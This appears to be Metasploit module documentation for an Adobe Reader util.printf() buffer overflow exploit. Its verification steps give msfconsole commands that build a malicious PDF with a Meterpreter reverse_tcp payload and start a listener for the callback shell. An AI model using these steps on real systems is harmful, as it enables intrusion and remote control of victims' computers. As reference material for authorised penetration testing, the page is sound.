## Vulnerable Application

This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional < 8.1.3. By creating a specially
crafted pdf that a contains malformed `util.printf()` entry, an attacker may be able to execute arbitrary code.

## Verification Steps

  1. Install application on the target machine
  2. Start msfconsole
  3. Do: ```use exploit/windows/fileformat/adobe_utilprintf```
  4. Do: ```set payload [windows/meterpreter/reverse_tcp]```
  5. Do: ```set LHOST [IP]```
  6. Do: ```exploit```
  7. Do: ```use exploit/multi/handler```
  8. Do: ```set LHOST [IP]```
  9. Do: ```exploit```
  10. Do: Open PDF on target machine with vulnerable software
